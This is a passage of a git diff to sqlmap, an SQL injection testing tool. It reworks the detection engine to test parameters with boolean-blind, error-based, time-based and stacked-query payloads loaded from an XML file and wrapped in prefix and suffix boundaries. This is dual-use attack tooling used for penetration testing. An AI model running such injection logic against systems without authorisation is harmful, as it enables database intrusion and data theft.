diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 8f1c9ebc9..e85c6d54e 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -15,6 +15,7 @@ from difflib import SequenceMatcher from lib.core.agent import agent from lib.core.common import beep +from lib.core.common import calculateDeltaSeconds from lib.core.common import getUnicode from lib.core.common import randomInt from lib.core.common import randomStr @@ -26,8 +27,11 @@ from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths +from lib.core.datatype import advancedDict +from lib.core.datatype import injectionDict from lib.core.enums import HTTPMETHOD from lib.core.enums import NULLCONNECTION +from lib.core.enums import PAYLOAD from lib.core.exception import sqlmapConnectionException from lib.core.exception import sqlmapGenericException from lib.core.exception import sqlmapNoneDataException @@ -35,78 +39,274 @@ from lib.core.exception import sqlmapSiteTooDynamic from lib.core.exception import sqlmapUserQuitException from lib.core.session import setString from lib.core.session import setRegexp +from lib.core.settings import ERROR_SPACE +from lib.core.settings import ERROR_EMPTY_CHAR from lib.request.connect import Connect as Request +from plugins.dbms.firebird.syntax import Syntax as Firebird +from plugins.dbms.postgresql.syntax import Syntax as PostgreSQL +from plugins.dbms.mssqlserver.syntax import Syntax as MSSQLServer +from plugins.dbms.oracle.syntax import Syntax as Oracle +from plugins.dbms.mysql.syntax import Syntax as MySQL +from plugins.dbms.access.syntax import Syntax as Access +from plugins.dbms.sybase.syntax import Syntax as Sybase +from plugins.dbms.sqlite.syntax import Syntax as SQLite +from plugins.dbms.maxdb.syntax import Syntax as MaxDB -def checkSqlInjection(place, parameter, value, parenthesis): - """ - This function checks if the GET, POST, Cookie, User-Agent - parameters are affected by a SQL injection vulnerability and - identifies the type of SQL injection: - * Unescaped numeric injection - * Single quoted string injection - * Double quoted string injection - """ +def unescape(string, dbms): + unescaper = { + "Access": Access.unescape, + "Firebird": Firebird.unescape, + "MaxDB": MaxDB.unescape, + "Microsoft SQL Server": MSSQLServer.unescape, + "MySQL": MySQL.unescape, + "Oracle": Oracle.unescape, + "PostgreSQL": PostgreSQL.unescape, + "SQLite": SQLite.unescape, + "Sybase": Sybase.unescape + } - logic = conf.logic - randInt = randomInt() - randStr = randomStr() - prefix = "" - suffix = "" - retVal = None + if isinstance(dbms, list): + dbmsunescaper = unescaper[dbms[0]] + else: + dbmsunescaper = unescaper[dbms] - if conf.prefix or conf.suffix: - if conf.prefix: - prefix = conf.prefix + return dbmsunescaper(string) - if conf.suffix: - suffix = conf.suffix +def checkSqlInjection(place, parameter, value): + # Store here the details about boundaries and payload used to + # successfully inject + injection = injectionDict() - for case in kb.injections.root.case: - conf.matchRatio = None + for test in conf.tests: + title = test.title + stype = test.stype + proceed = True - positive = case.test.positive - negative = case.test.negative - - if not prefix and not suffix and case.name == "custom": + # Parse test's + if test.risk > conf.risk: + debugMsg = "skipping test '%s' because the risk " % title + debugMsg += "is higher than the provided" + logger.debug(debugMsg) continue - infoMsg = "testing %s (%s) injection " % (case.desc, logic) - infoMsg += "on %s parameter '%s'" % (place, parameter) + # Parse test's + if test.level > conf.level: + debugMsg = "skipping test '%s' because the level " % title + debugMsg += "is higher than the provided" + logger.debug(debugMsg) + continue + + if "details" in test and "dbms" in test.details: + dbms = test.details.dbms + else: + dbms = None + + # Skip current test if it is the same SQL injection type + # already identified by another test + if injection.data and stype in injection.data: + debugMsg = "skipping test '%s' because " % title + debugMsg += "we have already the payload for %s" % PAYLOAD.SQLINJECTION[stype] + logger.debug(debugMsg) + + continue + + # Skip DBMS-specific tests if they do not match the DBMS + # identified + if injection.dbms is not None and injection.dbms != dbms: + debugMsg = "skipping test '%s' because " % title + debugMsg += "the back-end DBMS is %s" % injection.dbms + logger.debug(debugMsg) + + continue + + infoMsg = "testing '%s'" % title logger.info(infoMsg) - payload = agent.payload(place, parameter, value, negative.format % eval(negative.params)) - _ = Request.queryPage(payload, place) + # Parse test's + payload = agent.cleanupPayload(test.request.payload) - payload = agent.payload(place, parameter, value, positive.format % eval(positive.params)) - trueResult = Request.queryPage(payload, place) + if dbms: + payload = unescape(payload, dbms) - if trueResult: - infoMsg = "confirming %s (%s) injection " % (case.desc, logic) - infoMsg += "on %s parameter '%s'" % (place, parameter) - logger.info(infoMsg) + if "comment" in test.request: + comment = test.request.comment + else: + comment = "" + testPayload = "%s%s" % (payload, comment) - payload = agent.payload(place, parameter, value, negative.format % eval(negative.params)) + if conf.prefix is not None and conf.suffix is not None: + boundary = advancedDict() - randInt = randomInt() - randStr = randomStr() + boundary.level = 1 + boundary.clause = [ 0 ] + boundary.where = [ 1, 2, 3 ] + # TODO: inspect the conf.prefix and conf.suffix to set + # proper ptype + boundary.ptype = 1 + boundary.prefix = conf.prefix + boundary.suffix = conf.suffix - falseResult = Request.queryPage(payload, place) + conf.boundaries.insert(0, boundary) - if not falseResult: - infoMsg = "%s parameter '%s' is %s (%s) injectable " % (place, parameter, case.desc, logic) - infoMsg += "with %d parenthesis" % parenthesis - logger.info(infoMsg) + for boundary in conf.boundaries: + # Parse boundary's + if boundary.level > conf.level: + # NOTE: shall we report every single skipped boundary too? + continue - if conf.beep: - beep() + # Parse test's and boundary's + # Skip boundary if it does not match against test's + clauseMatch = False + + for clauseTest in test.clause: + if clauseTest in boundary.clause: + clauseMatch = True + break + + if test.clause != [ 0 ] and boundary.clause != [ 0 ] and not clauseMatch: + continue + + # Parse test's and boundary's + # Skip boundary if it does not match against test's + whereMatch = False + + for where in test.where: + if where in boundary.where: + whereMatch = True + break + + if not whereMatch: + continue + + # Parse boundary's , and + prefix = boundary.prefix if boundary.prefix else "" + suffix = boundary.suffix if boundary.suffix else "" + ptype = boundary.ptype + injectable = False + + # If the previous injections succeeded, we know which prefix, + # postfix and parameter type to use for further tests, no + # need to cycle through all of the boundaries anymore + condBound = (injection.prefix is not None and injection.suffix is not None) + condBound &= (injection.prefix != prefix or injection.suffix != suffix) + condType = injection.ptype is not None and injection.ptype != ptype + + if condBound or condType: + continue + + # For each test's + for where in test.where: + # The tag defines where to add our injection + # string to the parameter under assessment. + if where == 1: + origValue = value + elif where == 2: + origValue = "-%s" % value + elif where == 3: + origValue = "" + + # Forge payload by prepending with boundary's prefix and + # appending with boundary's suffix the test's + # ' ' string + boundPayload = "%s%s %s %s" % (origValue, prefix, testPayload, suffix) + boundPayload = boundPayload.strip() + boundPayload = agent.cleanupPayload(boundPayload) + reqPayload = agent.payload(place, parameter, value, boundPayload) + + # Parse test's + # Check wheather or not the payload was successful + for method, check in test.response.items(): + check = agent.cleanupPayload(check) + + # In case of boolean-based blind SQL injection + if method == "comparison": + sndPayload = agent.cleanupPayload(test.response.comparison) + + if dbms: + sndPayload = unescape(sndPayload, dbms) + + if "comment" in test.response: + sndComment = test.response.comment + else: + sndComment = "" + + sndPayload = "%s%s" % (sndPayload, sndComment) + boundPayload = "%s%s %s %s" % (origValue, prefix, sndPayload, suffix) + boundPayload = boundPayload.strip() + boundPayload = agent.cleanupPayload(boundPayload) + cmpPayload = agent.payload(place, parameter, value, boundPayload) + + # Useful to set conf.matchRatio at first + conf.matchRatio = None + _ = Request.queryPage(cmpPayload, place) + + trueResult = Request.queryPage(reqPayload, place) + + if trueResult: + falseResult = Request.queryPage(cmpPayload, place) + + if not falseResult: + infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title) + logger.info(infoMsg) + + kb.paramMatchRatio[(place, parameter)] = conf.matchRatio + injectable = True + + kb.paramMatchRatio[(place, parameter)] = conf.matchRatio + + # In case of error-based or UNION query SQL injections + elif method == "grep": + reqBody, _ = Request.queryPage(reqPayload, place, content=True) + match = re.search(check, reqBody, re.DOTALL | re.IGNORECASE) + + if not match: + continue + + output = match.group('result') + + if output: + output = output.replace(ERROR_SPACE, " ").replace(ERROR_EMPTY_CHAR, "") + + if output == "1": + infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title) + logger.info(infoMsg) + + injectable = True + + # In case of time-based blind or stacked queries SQL injections + elif method == "time": + start = time.time() + _ = Request.queryPage(reqPayload, place) + duration = calculateDeltaSeconds(start) + + if duration >= conf.timeSec: + infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title) + logger.info(infoMsg) + + injectable = True + + if injectable is True: + injection.place = place + injection.parameter = parameter + injection.ptype = ptype + injection.prefix = prefix + injection.suffix = suffix + + injection.data[stype] = (title, where, comment, boundPayload) + + if "details" in test: + for detailKey, detailValue in test.details.items(): + if detailKey == "dbms" and injection.dbms is None: + injection.dbms = detailValue + elif detailKey == "dbms_version" and injection.dbms_version is None: + injection.dbms_version = detailValue + elif detailKey == "os" and injection.os is None: + injection.os = detailValue - retVal = case.name break - kb.paramMatchRatio[(place, parameter)] = conf.matchRatio - - return retVal + return injection def heuristicCheckSqlInjection(place, parameter, value): if kb.nullConnection: diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 7887a385c..eb2ef04d9 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -18,6 +18,8 @@ from lib.controller.checks import checkString from lib.controller.checks import checkRegexp from lib.controller.checks import checkConnection from lib.controller.checks import checkNullConnection +from lib.core.agent import agent +from lib.core.common import dataToStdout from lib.core.common import getUnicode from lib.core.common import paramToDict from lib.core.common import parseTargetUrl @@ -25,57 +27,121 @@ from lib.core.common import readInput from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.dump import dumper from lib.core.enums import HTTPMETHOD +from lib.core.enums import PAYLOAD from lib.core.enums import PLACE from lib.core.exception import exceptionsTuple from lib.core.exception import sqlmapNotVulnerableException from lib.core.exception import sqlmapSilentQuitException +from lib.core.exception import sqlmapValueException from lib.core.exception import sqlmapUserQuitException +from lib.core.session import setBooleanBased +from lib.core.session import setError from lib.core.session import setInjection from lib.core.session import setMatchRatio +from lib.core.session import setStacked +from lib.core.session import setTimeBased from lib.core.target import initTargetEnv from lib.core.target import setupTargetEnv -from lib.utils.parenthesis import checkForParenthesis -def __selectInjection(injData): +def __saveToSessionFile(): + for inj in kb.injections: + place = inj.place + parameter = inj.parameter + + for stype, sdata in inj.data.items(): + payload = sdata[3] + + if stype == 1: + kb.booleanTest = payload + setBooleanBased(place, parameter, payload) + elif stype == 2: + kb.errorTest = payload + setError(place, parameter, payload) + elif stype == 4: + kb.stackedTest = payload + setStacked(place, parameter, payload) + elif stype == 5: + kb.timeTest = payload + setTimeBased(place, parameter, payload) + + setInjection(inj) + +def __selectInjection(): """ Selection function for injection place, parameters and type. """ - message = "there were multiple injection points, please select the " - message += "one to use to go ahead:\n" + # TODO: when resume from session file, feed kb.injections and call + # __selectInjection() + points = [] - for i in xrange(0, len(injData)): - injPlace = injData[i][0] - injParameter = injData[i][1] - injType = injData[i][2] + for i in xrange(0, len(kb.injections)): + place = kb.injections[i].place + parameter = kb.injections[i].parameter + ptype = kb.injections[i].ptype - message += "[%d] place: %s, parameter: " % (i, injPlace) - message += "%s, type: %s" % (injParameter, injType) + point = (place, parameter, ptype) - if i == 0: - message += " (default)" + if point not in points: + points.append(point) - message += "\n" + if len(points) == 1: + kb.injection = kb.injections[0] + elif len(points) > 1: + message = "there were multiple injection points, please select " + message += "the one to use for following injections:\n" - message += "[q] Quit" - select = readInput(message, default="0") + points = [] - if not select: - index = 0 + for i in xrange(0, len(kb.injections)): + place = kb.injections[i].place + parameter = kb.injections[i].parameter + ptype = kb.injections[i].ptype + point = (place, parameter, ptype) - elif select.isdigit() and int(select) < len(injData) and int(select) >= 0: - index = int(select) + if point not in points: + points.append(point) - elif select[0] in ( "Q", "q" ): - return "Quit" + message += "[%d] place: %s, parameter: " % (i, place) + message += "%s, type: %s" % (parameter, PAYLOAD.PARAMETER[ptype]) - else: - warnMsg = "invalid choice, retry" - logger.warn(warnMsg) - __selectInjection(injData) + if i == 0: + message += " (default)" - return injData[index] + message += "\n" + + message += "[q] Quit" + select = readInput(message, default="0") + + if select.isdigit() and int(select) < len(kb.injections) and int(select) >= 0: + index = int(select) + elif select[0] in ( "Q", "q" ): + raise sqlmapUserQuitException + else: + errMsg = "invalid choice" + raise sqlmapValueException, errMsg + + kb.injection = kb.injections[index] + +def __formatInjection(inj): + header = "Place: %s\n" % inj.place + header += "Parameter: %s\n" % inj.parameter + data = "" + + for stype, sdata in inj.data.items(): + data += "Type: %s\n" % PAYLOAD.SQLINJECTION[stype] + data += "Payload: %s\n\n" % sdata[3] + + return header, data + +def __showInjections(): + dataToStdout("sqlmap identified the following injection points:\n") + + for inj in kb.injections: + header, data = __formatInjection(inj) + dumper.technic(header, data) def start(): """ @@ -230,7 +296,7 @@ def start(): # TODO: consider the following line in __setRequestParams() __testableParameters = True - if not kb.injPlace or not kb.injParameter or not kb.injType: + if not kb.injection.place or not kb.injection.parameter: if not conf.string and not conf.regexp and not conf.eRegexp: # NOTE: this is not needed anymore, leaving only to display # a warning message to the user in case the page is not stable @@ -251,6 +317,10 @@ def start(): paramDict = conf.paramDict[place] for parameter, value in paramDict.items(): testSqlInj = True + + # TODO: with the new detection engine, review this + # part. Perhaps dynamicity test will not be of any + # use paramKey = (conf.hostname, conf.path, place, parameter) if paramKey in kb.testedParams: @@ -276,48 +346,33 @@ def start(): kb.testedParams.add(paramKey) if testSqlInj: + # TODO: with the new detection engine, review this + # part. This will be moved to payloads.xml as well heuristicCheckSqlInjection(place, parameter, value) - for parenthesis in range(0, 4): - logMsg = "testing sql injection on %s " % place - logMsg += "parameter '%s' with " % parameter - logMsg += "%d parenthesis" % parenthesis - logger.info(logMsg) + logMsg = "testing sql injection on %s " % place + logMsg += "parameter '%s'" % parameter + logger.info(logMsg) - injType = checkSqlInjection(place, parameter, value, parenthesis) + injection = checkSqlInjection(place, parameter, value) - if injType: - injData.append((place, parameter, injType)) - break - - else: - infoMsg = "%s parameter '%s' is not " % (place, parameter) - infoMsg += "injectable with %d parenthesis" % parenthesis - logger.info(infoMsg) - - if not injData: + if injection: + kb.injections.append(injection) + else: warnMsg = "%s parameter '%s' is not " % (place, parameter) warnMsg += "injectable" logger.warn(warnMsg) - if not kb.injPlace or not kb.injParameter or not kb.injType: - if len(injData) == 1: - injDataSelected = injData[0] + if len(kb.injections) == 0 and not kb.injection.place and not kb.injection.parameter: + errMsg = "all parameters are not injectable, try " + errMsg += "a higher --level" + raise sqlmapNotVulnerableException, errMsg + else: + __saveToSessionFile() + __showInjections() + __selectInjection() - elif len(injData) > 1: - injDataSelected = __selectInjection(injData) - - else: - raise sqlmapNotVulnerableException, "all parameters are not injectable" - - if injDataSelected == "Quit": - return - - else: - kb.injPlace, kb.injParameter, kb.injType = injDataSelected - setInjection() - - if kb.injPlace and kb.injParameter and kb.injType: + if kb.injection.place and kb.injection.parameter: if conf.multipleTargets: message = "do you want to exploit this SQL injection? [Y/n] " exploit = readInput(message, default="Y") @@ -328,10 +383,9 @@ def start(): if condition: if kb.paramMatchRatio: - conf.matchRatio = kb.paramMatchRatio[(kb.injPlace, kb.injParameter)] + conf.matchRatio = kb.paramMatchRatio[(kb.injection.place, kb.injection.parameter)] setMatchRatio() - checkForParenthesis() action() except KeyboardInterrupt: diff --git a/lib/core/agent.py b/lib/core/agent.py index 7fe382c58..37ebce689 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -12,7 +12,6 @@ import re from xml.etree import ElementTree as ET from lib.core.common import getCompiledRegex -from lib.core.common import getInjectionCase from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.convert import urlencode @@ -23,6 +22,8 @@ from lib.core.datatype import advancedDict from lib.core.enums import DBMS from lib.core.enums import PLACE from lib.core.exception import sqlmapNoneDataException +from lib.core.settings import ERROR_START_CHAR +from lib.core.settings import ERROR_END_CHAR from lib.core.settings import PAYLOAD_DELIMITER class Agent: @@ -70,28 +71,28 @@ class Agent: falseValue = " AND %d=%d" % (randInt, randInt + 1) # After identifing the injectable parameter - if kb.injPlace == PLACE.UA: - retValue = kb.injParameter.replace(kb.injParameter, - self.addPayloadDelimiters("%s%s" % (negValue, kb.injParameter + falseValue + newValue))) - elif kb.injParameter: - paramString = conf.parameters[kb.injPlace] - paramDict = conf.paramDict[kb.injPlace] - value = paramDict[kb.injParameter] + if kb.injection.place == PLACE.UA: + retValue = kb.injection.parameter.replace(kb.injection.parameter, + self.addPayloadDelimiters("%s%s" % (negValue, kb.injection.parameter + falseValue + newValue))) + elif kb.injection.parameter: + paramString = conf.parameters[kb.injection.place] + paramDict = conf.paramDict[kb.injection.place] + value = paramDict[kb.injection.parameter] - if "POSTxml" in conf.paramDict and kb.injPlace == PLACE.POST: + if "POSTxml" in conf.paramDict and kb.injection.place == PLACE.POST: root = ET.XML(paramString) - iterator = root.getiterator(kb.injParameter) + iterator = root.getiterator(kb.injection.parameter) for child in iterator: child.text = self.addPayloadDelimiters(negValue + value + falseValue + newValue) retValue = ET.tostring(root) - elif kb.injPlace == PLACE.URI: + elif kb.injection.place == PLACE.URI: retValue = paramString.replace("*", self.addPayloadDelimiters("%s%s" % (negValue, falseValue + newValue))) else: - retValue = paramString.replace("%s=%s" % (kb.injParameter, value), - "%s=%s" % (kb.injParameter, self.addPayloadDelimiters(negValue + value + falseValue + newValue))) + retValue = paramString.replace("%s=%s" % (kb.injection.parameter, value), + "%s=%s" % (kb.injection.parameter, self.addPayloadDelimiters(negValue + value + falseValue + newValue))) # Before identifing the injectable parameter elif parameter == PLACE.UA: @@ -125,6 +126,20 @@ class Agent: return payload + def cleanupPayload(self, payload): + randInt = randomInt() + randInt1 = randomInt() + randStr = randomStr() + + payload = payload.replace("[RANDNUM]", str(randInt)) + payload = payload.replace("[RANDNUM1]", str(randInt1)) + payload = payload.replace("[RANDSTR]", randStr) + payload = payload.replace("[ERROR_START_CHAR]", ERROR_START_CHAR) + payload = payload.replace("[ERROR_END_CHAR]", ERROR_END_CHAR) + payload = payload.replace("[SLEEPTIME]", str(conf.timeSec)) + + return payload + def prefixQuery(self, string): """ This method defines how the input string has to be escaped @@ -135,24 +150,9 @@ class Agent: if conf.direct: return self.payloadDirect(string) - logic = conf.logic - query = str() - case = getInjectionCase(kb.injType) - - if kb.parenthesis is not None: - parenthesis = kb.parenthesis - else: - raise sqlmapNoneDataException, "unable to get the number of parenthesis" - - if case is None: - raise sqlmapNoneDataException, "unsupported injection type" - - if conf.prefix: - query = "%s " % conf.prefix.strip() - else: - query = case.usage.prefix.format % eval(case.usage.prefix.params) - + query = "%s " % kb.injection.prefix query += string + query = self.cleanupPayload(query) return query @@ -165,27 +165,11 @@ class Agent: if conf.direct: return self.payloadDirect(string) - logic = conf.logic - case = getInjectionCase(kb.injType) - - if case is None: - raise sqlmapNoneDataException, "unsupported injection type" - - randInt = randomInt() - randStr = randomStr() - - if kb.parenthesis is not None: - parenthesis = kb.parenthesis - else: - raise sqlmapNoneDataException, "unable to get the number of parenthesis" - - if comment: + if comment is not None: string += comment - if conf.suffix: - string += " %s" % conf.suffix - else: - string += case.usage.suffix.format % eval(case.usage.suffix.params) + string += " %s" % kb.injection.suffix + string = self.cleanupPayload(string) return string diff --git a/lib/core/common.py b/lib/core/common.py index e42b77115..567c28c14 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -667,6 +667,7 @@ def setPaths(): paths.WORDLIST = os.path.join(paths.SQLMAP_TXT_PATH, "wordlist.txt") paths.PHPIDS_RULES_XML = os.path.join(paths.SQLMAP_XML_PATH, "phpids_rules.xml") paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml") + paths.PAYLOADS_XML = os.path.join(paths.SQLMAP_XML_PATH, "payloads.xml") paths.INJECTIONS_XML = os.path.join(paths.SQLMAP_XML_PATH, "injections.xml") paths.LIVE_TESTS_XML = os.path.join(paths.SQLMAP_XML_PATH, "livetests.xml") paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml") @@ -894,7 +895,7 @@ def parseUnionPage(output, expression, partial=False, condition=None, sort=True) if partial or not condition: logOutput = "".join(["%s%s%s" % (DUMP_START_MARKER, replaceNewlineTabs(value), DUMP_STOP_MARKER) for value in output]) - dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput)) + dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression, logOutput)) if sort: output = set(output) @@ -1296,17 +1297,6 @@ def calculateDeltaSeconds(start, epsilon=0.05): """ return int(time.time() - start + epsilon) -def getInjectionCase(name): - retVal = None - - for case in kb.injections.root.case: - if case.name == name: - retVal = case - - break - - return retVal - def initCommonOutputs(): kb.commonOutputs = {} key = None diff --git a/lib/core/datatype.py b/lib/core/datatype.py index 8882112ca..b64d20de1 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -56,3 +56,21 @@ class advancedDict(dict): else: self.__setitem__(item, value) +def injectionDict(): + injection = advancedDict() + + injection.place = None + injection.parameter = None + injection.ptype = None + injection.prefix = None + injection.suffix = None + + # data is a dict with stype as key and a tuple as value with + # title, where, comment and reqPayload + injection.data = {} + + injection.dbms = None + injection.dbms_version = None + injection.os = None + + return injection diff --git a/lib/core/enums.py b/lib/core/enums.py index 5bd79f7e5..442851b64 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -17,14 +17,14 @@ class PRIORITY: HIGHEST = 100 class DBMS: - MYSQL = "MySQL" - ORACLE = "Oracle" - POSTGRESQL = "PostgreSQL" - MSSQL = "Microsoft SQL Server" - SQLITE = "SQLite" ACCESS = "Microsoft Access" FIREBIRD = "Firebird" MAXDB = "SAP MaxDB" + MSSQL = "Microsoft SQL Server" + MYSQL = "MySQL" + ORACLE = "Oracle" + POSTGRESQL = "PostgreSQL" + SQLITE = "SQLite" SYBASE = "Sybase" class PLACE: @@ -53,3 +53,39 @@ class HASH: ORACLE_OLD = r'(?i)\A[01-9a-f]{16}\Z' MD5_GENERIC = r'(?i)\A[0-9a-f]{32}\Z' SHA1_GENERIC = r'(?i)\A[0-9a-f]{40}\Z' + +class PAYLOAD: + SQLINJECTION = { + 1: "boolean-based blind", + 2: "error-based", + 3: "UNION query", + 4: "stacked queries", + 5: "AND/OR time-based blind" + } + + PARAMETER = { + 1: "Unescaped numeric", + 2: "Single quoted string", + 3: "LIKE single quoted string", + 4: "Double quoted string", + 5: "LIKE double quoted string" + } + + RISK = { + 0: "No risk", + 1: "Low risk", + 2: "Medium risk", + 3: "High risk" + } + + CLAUSE = { + 0: "Always", + 1: "WHERE", + 2: "GROUP BY", + 3: "ORDER BY", + 4: "LIMIT", + 5: "OFFSET", + 6: "TOP", + 7: "Table name", + 8: "Column name" + } diff --git a/lib/core/option.py b/lib/core/option.py index e4e24cfcf..49f3e8071 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -64,6 +64,7 @@ from lib.core.settings import SUPPORTED_OS from lib.core.settings import VERSION_STRING from lib.core.update import update from lib.parse.configfile import configFileParser +from lib.parse.payloads import loadPayloads from lib.request.connect import Connect as Request from lib.request.proxy import ProxyHTTPSHandler from lib.request.certhandler import HTTPSCertAuthHandler @@ -1069,6 +1070,7 @@ def __setConfAttributes(): debugMsg = "initializing the configuration" logger.debug(debugMsg) + conf.boundaries = [] conf.cj = None conf.dataEncoding = "utf-8" conf.dbmsConnector = None @@ -1094,6 +1096,7 @@ def __setConfAttributes(): conf.seqMatcher = difflib.SequenceMatcher(None) conf.sessionFP = None conf.start = True + conf.tests = [] conf.threadContinue = True conf.threadException = False conf.trafficFP = None @@ -1121,6 +1124,12 @@ def __setKnowledgeBaseAttributes(): kb.data = advancedDict() + # Injection types + kb.booleanTest = None + kb.errorTest = None + kb.stackedTest = None + kb.timeTest = None + # Basic back-end DBMS fingerprint kb.dbms = None kb.dbmsDetected = False @@ -1131,16 +1140,15 @@ def __setKnowledgeBaseAttributes(): kb.dep = None kb.docRoot = None kb.dynamicMarkings = [] - kb.errorTest = None kb.formNames = advancedDict() kb.headersCount = 0 kb.headersFp = {} kb.hintValue = None kb.htmlFp = [] - kb.injParameter = None - kb.injPlace = None - kb.injType = None - kb.injections = xmlobject.XMLFile(path=paths.INJECTIONS_XML) + kb.injection = advancedDict() + kb.injection.parameter = None + kb.injection.place = None + kb.injections = [] kb.keywords = set(getFileItems(paths.SQL_KEYWORDS)) kb.lastErrorPage = None kb.lastRequestUID = 0 @@ -1160,16 +1168,13 @@ def __setKnowledgeBaseAttributes(): kb.pageStable = None kb.paramMatchRatio = {} - kb.parenthesis = None kb.partRun = None kb.proxyAuthHeader = None kb.queryCounter = 0 kb.resumedQueries = {} - kb.stackedTest = None kb.tamperFunctions = [] kb.targetUrls = set() kb.testedParams = set() - kb.timeTest = None kb.unionComment = "" kb.unionCount = None kb.unionPosition = None @@ -1378,5 +1383,6 @@ def init(inputOptions=advancedDict()): __setWriteFile() __setMetasploit() + loadPayloads() update() __loadQueries() diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 3a3378a1d..dd10f345b 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -63,6 +63,8 @@ optDict = { }, "Detection": { + "level": "integer", + "risk": "integer", "string": "string", "regexp": "string", "eString": "string", diff --git a/lib/core/session.py b/lib/core/session.py index f34c44d19..100ffc0c7 100644 --- a/lib/core/session.py +++ b/lib/core/session.py @@ -15,6 +15,7 @@ from lib.core.common import readInput from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.enums import PAYLOAD from lib.core.enums import PLACE from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MYSQL_ALIASES @@ -68,47 +69,33 @@ def setMatchRatio(): ) if condition: - dataToSessionFile("[%s][%s][%s][Match ratio][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), conf.matchRatio)) + dataToSessionFile("[%s][%s][%s][Match ratio][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), conf.matchRatio)) -def setInjection(): +def setInjection(inj): """ Save information retrieved about injection place and parameter in the session file. """ - if kb.injPlace == PLACE.UA: - kb.injParameter = conf.agent + if inj.place == PLACE.UA: + inj.parameter = conf.agent condition = ( - kb.injPlace and kb.injParameter and ( not kb.resumedQueries + ( not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and ( not kb.resumedQueries[conf.url].has_key("Injection point") or not kb.resumedQueries[conf.url].has_key("Injection parameter") - or not kb.resumedQueries[conf.url].has_key("Injection type") ) ) ) ) if condition: - dataToSessionFile("[%s][%s][%s][Injection point][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), kb.injPlace)) - dataToSessionFile("[%s][%s][%s][Injection parameter][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), kb.injParameter)) - dataToSessionFile("[%s][%s][%s][Injection type][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), kb.injType)) - -def setParenthesis(parenthesisCount): - """ - @param parenthesisCount: number of parenthesis to be set into the - knowledge base as fingerprint. - @type parenthesisCount: C{int} - """ - - condition = ( - not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and - not kb.resumedQueries[conf.url].has_key("Parenthesis") ) - ) - - if condition: - dataToSessionFile("[%s][%s][%s][Parenthesis][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), parenthesisCount)) - - kb.parenthesis = parenthesisCount + for stype in inj.data.keys(): + dataToSessionFile("[%s][%s][%s][Injection type][%s]\n" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), PAYLOAD.SQLINJECTION[stype])) + dataToSessionFile("[%s][%s][%s][Injection point][%s]\n" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), inj.place)) + dataToSessionFile("[%s][%s][%s][Injection parameter][%s]\n" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), inj.parameter)) + dataToSessionFile("[%s][%s][%s][Injection parameter type][%s]\n" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), PAYLOAD.PARAMETER[inj.ptype])) + dataToSessionFile("[%s][%s][%s][Injection prefix][%s]\n" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), inj.prefix)) + dataToSessionFile("[%s][%s][%s][Injection suffix][%s]\n" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), inj.suffix)) def setDbms(dbms): """ @@ -124,7 +111,7 @@ def setDbms(dbms): ) if condition: - dataToSessionFile("[%s][%s][%s][DBMS][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), safeFormatString(dbms))) + dataToSessionFile("[%s][%s][%s][DBMS][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), safeFormatString(dbms))) firstRegExp = "(%s|%s|%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]), "|".join([alias for alias in MYSQL_ALIASES]), @@ -184,28 +171,43 @@ def setOs(): logger.info(infoMsg) if condition: - dataToSessionFile("[%s][%s][%s][OS][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), safeFormatString(kb.os))) + dataToSessionFile("[%s][%s][%s][OS][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), safeFormatString(kb.os))) -def setStacked(): +def setBooleanBased(place, parameter, payload): + condition = ( + not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and + not kb.resumedQueries[conf.url].has_key("Boolean-based blind injection") ) + ) + + if condition: + dataToSessionFile("[%s][%s][%s][Boolean-based blind injection][%s]\n" % (conf.url, place, safeFormatString(conf.parameters[place]), payload)) + +def setStacked(place, parameter, payload): condition = ( not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and not 